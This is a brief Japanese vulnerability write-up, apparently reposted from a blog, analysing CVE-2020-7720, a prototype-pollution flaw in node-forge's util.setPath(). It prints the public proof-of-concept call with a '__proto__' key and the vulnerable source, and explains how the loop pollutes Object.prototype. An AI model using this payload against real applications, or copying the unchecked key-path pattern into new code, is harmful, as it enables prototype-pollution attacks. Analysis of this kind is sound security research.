CVE-2020-7720脆弱性分析

CVE-2020-7720脆弱性分析

1.はじめに

バージョン0.10.0より前のnodejsのソフトウェアパッケージであるNode-forgeには、プロトタイプチェーン汚染の脆弱性があるutil.setPath()関数があります。攻撃者は、対応するパラメーターを作成することにより、アプリケーションに対してプロトタイプ汚染攻撃を実行できます。

公式POCは次のとおりです。

const nodeforge = require('node-forge');
var obj = {};
nodeforge.util.setPath(obj, ['__proto__', 'polluted'], true);
console.log(polluted);

2.脆弱性の再発と分析

1.環境構築

0.10.0未満のノードフォージコンポーネントをダウンロードする

npm i [email protected]

2.ソースコード分析

POCによると、setPath関数を直接見つけます。この関数のソースコードは比較的単純です(次のように):

util.setPath = function(object, keys, value) {
    // need to start at an object
    if(typeof(object) === 'object' && object !== null) {
      var i = 0;
      var len = keys.length;
      while(i < len) {
        var next = keys[i++];
        if(i == len) {
          // last
          object[next] = value;
        } else {
          // more
          var hasNext = (next in object);
          if(!hasNext ||
            (hasNext && typeof(object[next]) !== 'object') ||
            (hasNext && object[next] === null)) {
            object[next] = {};
          }
          object = object[next];
        }
      }
    }
  };

キーはこのような配列であることがわかっています

['__proto__','pollute']

whileループの最初のステップは、次のとおりです。

object = object[__proto__]

その後:

object[pollute] = true

これにより、プロトタイプチェーンが汚染され、その組み合わせは次のようになります。

object['__proto__']['pollute'] = true

3.脆弱性の検証

console.log(pollute)

おすすめ

転載: blog.csdn.net/gental_z/article/details/109052532